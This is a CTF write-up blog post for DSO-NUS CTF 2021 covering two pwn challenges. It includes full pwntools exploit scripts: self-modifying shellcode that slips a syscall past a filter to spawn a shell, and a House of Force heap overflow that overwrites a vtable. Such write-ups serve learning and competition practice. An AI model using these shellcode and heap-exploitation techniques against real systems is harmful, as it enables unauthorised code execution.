DSO-NUS CTF 2021

14 minute read

A local Singaporean CTF hosted by DSO National Laboratories and the National University of Singapore (NUS). I played this CTF with my regular teammate, @OceanKoh, under the name It’z Me. We managed to get 6th place, which I’m quite satisified with. Not bad for the first official CTF of 2021.

alt

Writeups

Syscall Phobia (pwn)

Timmy has created a program to execute any x86_64 bytecode instructions! However, Timmy has an absolute detest for syscalls, and does not want anyone to insert syscalls into their instructions. This will make it a little secure… right?

Challenge Files

Solution

We are provided with a 64-bit ELF executable:

$ file syscall-phobia
syscall-phobia: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=446d8daadfa7e20968f5c991223fc5b80b12aac0, stripped

As usual, I start by running the binary to get a general overview of what to expect:

$ ./syscall-phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here :D
Example: 554889e5c9c3

Enter assembly bytecode here! (No syscalls please, tenks):
AAAAAAAA
Executing your assembly code!
Segmentation fault

The challenge expects shellcode as input, which is then executed. However, as mentioned by the challenge description, the shellcode cannot contain syscall instructions. I can confirm my initial analysis by reversing the main() function in IDA:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[260]; // [rsp+0h] [rbp-110h] BYREF
  int v5; // [rsp+104h] [rbp-Ch]
  void *haystack; // [rsp+108h] [rbp-8h]

  haystack = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Enter your hexadecimal bytecode here and we will execute it for you!");
  puts("We absolutely hate syscalls so please DO NOT enter syscall instructions here :D");
  puts("Example: 554889e5c9c3\n");
  puts("Enter assembly bytecode here! (No syscalls please, tenks): ");
  fflush(stdout);
  fgets(buf, 200, stdin);
  buf[strcspn(buf, "\n")] = 0;
  v5 = convert_bytecode(buf, haystack);
  if ( memmem(haystack, v5, &syscall, 2uLL) || memmem(haystack, v5, &int_0x80, 2uLL) )
  {
    puts("Hey! I told you no syscalls! :(");
    exit(1);
  }
  puts("Executing your assembly code!");
  fflush(stdout);
  qword_6020A0 = haystack;
  (haystack)();
  return 0LL;
}

As seen from above, the binary reads in our shellcode into buf.

fgets(buf, 200, stdin);

The shellcode is then converted using the convert_bytecode() function and stored in haystack.

v5 = convert_bytecode(buf, haystack);

This is the important part: If syscall or int 0x80 instructions are found in the shellcode, the binary immediately exits without executing our shellcode:

if ( memmem(haystack, v5, &syscall, 2uLL) || memmem(haystack, v5, &int_0x80, 2uLL) ) {
    puts("Hey! I told you no syscalls! :(");
    exit(1);
}

Thus, the objective is to somehow bypass this syscall filter and let the binary execute our shellcode here:

puts("Executing your assembly code!");
(haystack)();

Initially, I thought of somehow not using syscall instructions at all. However, a quick Google search showed me this:

Or even easier, start with 0e 05 … in memory, and use inc byte ptr syscall_location[rip] to modify it to 0f 05

As the opcode of syscall is 0f 05, the idea is to first write 0e 05 in our shellcode, and then increment the instruction using inc BYTE PTR [rip] to make it 0f 05:

fe 05 00 00 00 00       inc    BYTE PTR [rip]   // increment instruction below by 1
0e 05                   ???                     // becomes syscall when executed

Now that we have a way to use syscall instructions, all that’s left to do is write shellcode to pop shell, which is trivial with pwntools:

$ python
Python 2.7.18 (default, Aug  4 2020, 11:16:42)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print disasm(asm(shellcraft.sh()))
   0:   6a 68                   push   0x68
   2:   68 2f 2f 2f 73          push   0x732f2f2f
   7:   68 2f 62 69 6e          push   0x6e69622f
   c:   89 e3                   mov    ebx, esp
   e:   68 01 01 01 01          push   0x1010101
  13:   81 34 24 72 69 01 01    xor    DWORD PTR [esp], 0x1016972
  1a:   31 c9                   xor    ecx, ecx
  1c:   51                      push   ecx
  1d:   6a 04                   push   0x4
  1f:   59                      pop    ecx
  20:   01 e1                   add    ecx, esp
  22:   51                      push   ecx
  23:   89 e1                   mov    ecx, esp
  25:   31 d2                   xor    edx, edx
  27:   6a 0b                   push   0xb
  29:   58                      pop    eax
  2a:   cd 80                   int    0x80

We simply replace the last int 0x80 instruction with inc BYTE PTR [rip], and append 0e 05 to the end of our shellcode:

shellcode = asm(
        "push   0x68;"
        "movabs rax, 0x732f2f2f6e69622f;"
        "push   rax;"
        "mov    rdi, rsp;"
        "push   0x1016972;"
        "xor    DWORD PTR [rsp], 0x1010101;"
        "xor    esi, esi;"
        "push   rsi;"
        "push   0x8;"
        "pop    rsi;"
        "add    rsi, rsp;"
        "push   rsi;"
        "mov    rsi, rsp;"
        "xor    edx, edx;"
        "push   0x3b;"
        "pop    rax;"
        "inc    BYTE PTR [rip];",
        arch = 'amd64', os = 'linux'
    )

a = ['0x{:02x}'.format(u8(a))[2:] for a in shellcode]   # Converting shellcode to hex string
a += ["0e", "05", "90", "90", "90"]                     # add syscall + a few NOPs
payload = ''.join(a)

When the binary executes this shellcode, it pops a shell:

$ python solve.py
[*] '/mnt/c/Users/Brandon Chong/Downloads/writeup stuffs/Syscall Phobia/syscall-phobia'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/mnt/c/Users/Brandon Chong/Downloads/writeup stuffs/Syscall Phobia/syscall-phobia': pid 3632
[*] Paused (press any to continue)
   0:   6a 68                   push   0x68
   2:   48 b8 2f 62 69 6e 2f    movabs rax, 0x732f2f2f6e69622f
   9:   2f 2f 73
   c:   50                      push   rax
   d:   48 89 e7                mov    rdi, rsp
  10:   68 72 69 01 01          push   0x1016972
  15:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp], 0x1010101
  1c:   31 f6                   xor    esi, esi
  1e:   56                      push   rsi
  1f:   6a 08                   push   0x8
  21:   5e                      pop    rsi
  22:   48 01 e6                add    rsi, rsp
  25:   56                      push   rsi
  26:   48 89 e6                mov    rsi, rsp
  29:   31 d2                   xor    edx, edx
  2b:   6a 3b                   push   0x3b
  2d:   58                      pop    rax
  2e:   fe 05 00 00 00 00       inc    BYTE PTR [rip+0x0]        # 0x34
[*] Payload: 6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b58fe05000000000e05909090
[*] Payload length: 114
[*] Switching to interactive mode

Executing your assembly code!
$ ls
solve.py  syscall-phobia  syscall-phobia.i64

Full exploit code:

from pwn import *
import sys

exe = ELF("./syscall-phobia")
host = "ctf-85ib.balancedcompo.site" 
port = 9998

def exploit(p):
    shellcode = asm(
        "push   0x68;"
        "movabs rax, 0x732f2f2f6e69622f;"
        "push   rax;"
        "mov    rdi, rsp;"
        "push   0x1016972;"
        "xor    DWORD PTR [rsp], 0x1010101;"
        "xor    esi, esi;"
        "push   rsi;"
        "push   0x8;"
        "pop    rsi;"
        "add    rsi, rsp;"
        "push   rsi;"
        "mov    rsi, rsp;"
        "xor    edx, edx;"
        "push   0x3b;"
        "pop    rax;"
        "inc    BYTE PTR [rip];",
        arch = 'amd64', os = 'linux'
    )

    print(disasm(shellcode))
    
    a = ['0x{:02x}'.format(u8(a))[2:] for a in shellcode] # Converting shellcode to hex string
    a += ["0e", "05", "90", "90", "90"] # syscall + a few NOPs
    payload = ''.join(a)

    lg('Payload: ' + payload)
    lg('Payload length: ' + str(len(payload)))
    
    sla('Enter assembly bytecode here! (No syscalls please, tenks): ', payload)

    p.interactive()

if __name__ == "__main__":
    context.binary = exe

    if sys.argv[-1] == "remote":
        p = remote(host, port)
    else:
        p = process([exe.path])
        pause()

    sl = lambda a: p.sendline(a)
    sla = lambda a,b: p.sendlineafter(a,b)
    lg = lambda a : log.info(a)

    exploit(p)

Task Tracker (pwn)

To identify the imposter, Red has programmed a task tracker to keep track of all tasks completed. However, one of the imposters have sabotaged some of the code to make it vulnerable. Can you leverage on the vulnerability to get the secret intel?

Challenge Files

Initial Analysis

We are provided with a 64-bit ELF executable:

$ file tasktracker
tasktracker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=40ae7a4291500370ce2158854195477ecf9875b3, stripped

When the binary is executed, we are provided with a menu, which looks like a heap challenge:

$ ./tasktracker
Welcome to the dropship. There is one imposter among us
******************************************************************************
Secure TaskTracker! Better than Medbay Scan at identifying imposters!
******************************************************************************
1.Show list of tasks
2.Add a task
3.Change a task (That is what an imposter would do :o)
4.Activate Communications
5.Call Emergency Meeting
******************************************************************************
Your choice:

By analyzing the file in IDA, we will know what each of these options do. The decompilation of main() is as shown below:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  void (**vtable)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  vtable = malloc(48LL);
  *vtable = start_message;
  vtable[1] = list_tasks;
  vtable[2] = add;
  vtable[3] = edit;
  vtable[4] = comms;
  vtable[5] = end;
  (*vtable)();
  while ( 1 )
  {
    print_banner();
    read(0LL, buf, 8LL);
    switch ( atoi(buf) )
    {
      case 1u:
        vtable[1]();
        break;
      case 2u:
        vtable[2]();
        break;
      case 3u:
        vtable[3]();
        break;
      case 4u:
        vtable[4]();
        break;
      case 5u:
        vtable[5]();
        exit(0LL);
        return result;
      default:
        output("Invalid Option. Not sure if you have butter fingers, but you deserve to be voted out anyways.", buf);
        break;
    }
  }
}

main() simply prints out the starting banner and the menu, and proceeds to handle our input using a switch. However, it is important to note that the functions to be called, such as list_tasks(), are stored and referenced through a vtable. This vtable is stored on the heap, as seen by the malloc() call:

vtable = malloc(48LL);

After looking through the decompiled code for each function, I realized only add() and edit() will be relevant to our exploit. list_tasks() simply prints out the contents of the heap in this format:

Your choice: 1
Task Number: 0  Task Name : AAAAAAAA
Task Number: 1  Task Name : BBBBBBBB

end() causes the program to exit immediately, while comms() prints this banner:

Your choice: 4
-. .. -.-. .
- .-. -.-- --..--
.. -- .--. --- ... - . .-. .-.-.-
-... ..- -
..
-.-. .- -.
- . .-.. .-..
-.-- --- ..-
-- -.--
--. .-.. .. -... -.-.
...- . .-. ... .. --- -.
.. ...
..--- .-.-.- ..--- --... .-.-.-

The simplified code of add() is as follows:

__int64 __fastcall add()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v10; // [rsp+18h] [rbp-8h]

  if ( chunk_count > 49 )
  {
    output("All tasks have been tracked. Call the Emergency Meeting!", a2);
  }
  else
  {
    printf("Please enter the length of task name:");
    read(0, buf, 8uLL);
    size = atoi(buf);
    if ( !size )
    {
      output("Are you an imposter?", buf);
      goto end;
    }
    for ( i = 0; i <= 49; ++i )
    {
      if ( !heap_chunks[2 * i] )
      {
        heap_chunks[2 * i] = malloc(size);
        printf("Please enter the name of task:");
        *(heap_chunks[2 * i] + read(0, heap_chunks[2 * i], size)) = 0;
        ++chunk_count;
        break;
      }
    }
  }
end:
  return 0;
}

The function first checks if chunk_count, the number of allocated chunks, exceeds 49. If it does not, we are asked for a length, which will be the size of the newly allocated chunk:

printf("Please enter the length of task name:");
read(0, buf, 8uLL);
size = atoi(buf);

The function then looks for an unused index in heap_chunks, and stores the pointer returned by malloc() at that index. Next, we are asked for the “name of task”, which will be read and stored in the newly allocated heap chunk.

 for ( i = 0; i <= 49; ++i )
    {
      if ( !heap_chunks[2 * i] )
      {
        heap_chunks[2 * i] = malloc(size);
        printf("Please enter the name of task:");
        *(heap_chunks[2 * i] + read(0, heap_chunks[2 * i], size)) = 0;
        ++chunk_count;
        break;
      }
    }

From reversing add(), we note that we are able to:

  • Allocate a heap chunk of any size
  • Allocate up to 50 chunks

Next, we take a look at the code of edit():

unsigned __int64 __fastcall edit(__int64 a1, __int64 a2)
{
  int index; // [rsp+4h] [rbp-2Ch]
  int size; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char buf_2[8]; // [rsp+20h] [rbp-10h] BYREF

  if ( chunk_count )
  {
    printf("Please enter the index of the task you want to change:");
    read(0, buf, 8uLL);
    index = atoi(buf);
    if ( heap_chunks[2 * index] )
    {
      printf("Enter the length of task name:");
      read(0, buf_2, 8uLL);
      size = atoi(buf_2);
      printf("Enter the new task name:");
      *(heap_chunks[2 * index] + read(0, heap_chunks[2 * index], size)) = 0;
    }
    else
    {
      output("That is what an imposter would say.", buf);
    }
  }
  else
  {
    output("Are you doing your tasks?", a2);
  }
  return;
}

The function first checks if a chunk is allocated using chunk_count. If so, it asks for the index of the chunk we wish to edit:

printf("Please enter the index of the task you want to change:");
read(0, buf, 8uLL);
index = atoi(buf);

The vulnerability lies in the following part of the code. The program checks if the index we entered is valid using heap_chunks. Next, we are once again asked for a length, followed by new data we wish to write into the chunk.

if ( heap_chunks[2 * index] )
{
    printf("Enter the length of task name:");
    read(0, buf_2, 8uLL);
    size = atoi(buf_2);
    printf("Enter the new task name:");
    *(heap_chunks[2 * index] + read(0, heap_chunks[2 * index], size)) = 0;
}

Notice how the function does not check if size is smaller or equal to the actual size of the allocated chunk. This allows us to cause a heap overflow and overwrite other chunks or data on the heap.

Also, while I was halfway into solving the challenge, I also noticed there was a function to print the flag at 0x400D51, which was very useful:

void __noreturn print_flag()
{
  unsigned int f; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF

  f = fopen("flag.txt", 0LL);
  read(f, buf, 0x40uLL);
  printf("%s", buf);
  exit(0LL);
}

Exploitation: House of Force
From reversing the binary, we know that we can:

  • Overwrite any data on the heap using the heap overflow
  • Allocate a heap chunk of any size
  • Allocate up to 50 chunks

Using this, we will be able to write data to any address relative to the heap using the House of Force. I won’t explain the House of Force in detail, but you can refer to these explanations should you wish to understand better:

Usually, House of Force would require a heap address leak to gain an arbitrary write. However, in this challenge, we can simply write the address of print_flag() into vtable, which is stored on the heap. This does not require a heap address leak, as the address we want to overwrite (vtable) is relative to the chunks allocated by us.

The exploitation process is as follows:

  1. Using the heap overflow, overwrite the top_chunk with 0xffffffffffffffff. This would allow us to allocate a chunk with an absurdly large size.
  2. Allocate a chunk with a size of offset. As the address of vtable is less than the address of the top_chunk, offset is calculated by: offset = -(top_chunk - target + chunk_size). chunk_size refers to the size of the final chunk we will allocate.
  3. Allocate a final chunk, this chunk will be allocated at the address of target.
  4. Using edit(), overwrite the one of the vtable pointers with print_flag().
  5. Call print_flag() normally using the menu options.

To overwrite the top_chunk, we simply allocate a chunk of size 8 and use edit() to overflow the top_chunk.

# Overwrite top chunk size with 0xffffffffffffffff
payload = "A"*24 + p64(0xffffffffffffffff)
malloc(8, "A"*8)
edit(0, 64, payload)

We then calculate the offset with the method mentioned above. The addresses of vtable and top_chunk can be obtained by analyzing the heap using gdb. Note that their values will be different every run.

# Calculating the value of offset    
target = 0x1802860  # Address of vtable
top_chunk = 0x18028f0
offset = top_chunk - target + 8

The chunk with size offset is then allocated:

# Allocate absurdly large chunk, which will wrap around memory
malloc(-offset, p64(0x0))

The final chunk we allocate will be at the address of vtable. This is the chunk we use to overwrite one of the vtable pointers.

# Allocate chunk at vtable
malloc(8, p64(0xdeadbeef)

We edit the final chunk and overwrite the value of the first vtable pointer, which is the function that is called when we select 1 on the menu.

# Overwrite first option in vtable with print_flag()
print_flag = 0x0000000000400D51
payload = "A"*56 + p64(print_flag)
edit(2, 100, payload)

Lastly, we select 1, which causes the program to call print_flag():

# Calling print_flag()
sla('Your choice:', '1')

Running the exploit prints the flag successfully:

$ python solve.py
[*] '/mnt/c/Users/brand/Downloads/Task Tracker/tasktracker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/mnt/c/Users/brand/Downloads/Task Tracker/tasktracker': pid 1782
[*] Paused (press any to continue)
[*] Switching to interactive mode
******************************************************************************
Secure TaskTracker! Better than Medbay Scan at identifying imposters!
******************************************************************************
1.Show list of tasks
2.Add a task
3.Change a task (That is what an imposter would do :o)
4.Activate Communications
5.Call Emergency Meeting
******************************************************************************
Your choice:[*] Process '/mnt/c/Users/brand/Downloads/Task Tracker/tasktracker' stopped with exit code 0 (pid 1782)
DSO-NUS{fake_flag}

Full exploit code:

from pwn import *
import sys

exe = ELF("./tasktracker")
host = "ctf-85ib.balancedcompo.site"
port = 9997

def malloc(size, data):
    sla('Your choice:', '2')
    sla('Please enter the length of task name:', str(size))
    sla('Please enter the name of task:', data)

def edit(index, size, data):
    sla('Your choice:', '3')
    sla('Please enter the index of the task you want to change:', str(index))
    sla('Enter the length of task name:', str(size))
    sla('Enter the new task name:', data)

def exploit(p):
    # Overwrite top chunk size with 0xffffffffffffffff
    payload = "A"*24 + p64(0xffffffffffffffff)
    malloc(8, "A"*8)
    edit(0, 64, payload)

    # Calculating the value of offset    
    target = 0x1802860
    top_chunk = 0x18028f0
    offset = top_chunk - target + 8

    # Allocate absurdly large chunk, which will wrap around memory
    malloc(-offset, p64(0x0))

    # Allocate chunk at vtable
    malloc(8, p64(0xdeadbeef))
    
    # Overwrite first option in vtable with print_flag()
    print_flag = 0x0000000000400D51
    payload = "A"*56 + p64(print_flag)
    edit(2, 100, payload)

    # Calling print_flag()
    sla('Your choice:', '1')

    p.interactive()

if __name__ == "__main__":
    context.binary = exe

    if sys.argv[-1] == "remote":
        p = remote(host, port)
    else:
        p = process([exe.path])
        pause()

    sl = lambda a: p.sendline(a)
    sla = lambda a,b: p.sendlineafter(a,b)
    lg = lambda a : log.info(a)

    exploit(p)

Categories:

Updated: